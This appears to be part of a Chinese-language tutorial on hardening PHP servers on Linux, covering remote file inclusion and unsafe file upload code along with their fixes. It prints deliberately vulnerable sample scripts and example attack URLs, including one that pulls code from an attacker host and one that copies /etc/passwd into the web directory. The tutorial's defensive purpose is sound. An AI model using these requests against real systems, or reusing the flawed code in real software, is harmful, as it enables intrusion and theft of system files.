快捷搜索:   服务器  安全  linux 安全  MYSQL  dedecms

Linux操作系统下PHP服务器安全配置技巧(4)

http://victim/test_3.php?filename=http://attack/attack.txt

 

攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。

对于另外一种形式,如下代码片断:

 

<?//test_4.phpinclude("$lib/config.php");      ?>

 

攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

 

http://victim/test_4.php?lib=http://attack

 

PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

 

         

 

解决方法:

 

要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

 

如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:

 

allow_url_fopen = Off

 

重启apache。

 

5、文件上传

 

php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且register_globals打开)

 

$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )

$file_size #上传文件的大小

$file_name #上传文件的原始名称

$file_type #上传文件的类型

 

推荐使用:

 

$HTTP_POST_FILES

$HTTP_POST_FILES

$HTTP_POST_FILES

$HTTP_POST_FILES

 

这是一个最简单的文件上传代码:

 

 

<?//test_5.phpif(isset($upload) && $file != "none") {    copy($file, "/usr/local/apache/htdocs/upload/".$file_name);    echo "文件".$file_name."上传成功!点击<a href=http://Linux.chinaitlab.com/server/\"$PHP_SELF\">继续上传</a>";    exit;}?><html><head><title>文件上传</title><meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head><body bgcolor="#FFFFFF"><form enctype="multipart/form-data" method="post">上传文件:<input type="file"  name="file" size="30"><input type="submit" name="upload" value="上传"></form></body>      </html>

 

这样的上传代码存在读取任意文件和执行命令的重大问题。

下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下的attack.txt文件里:

 

http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt

 

然后可以用如下请求读取口令文件:

 

http://victim/test/attack.txt

 

攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。

攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。

攻击者还可以上传PHP脚本执行主机的命令。

 

解决方法:

 

PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。

顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论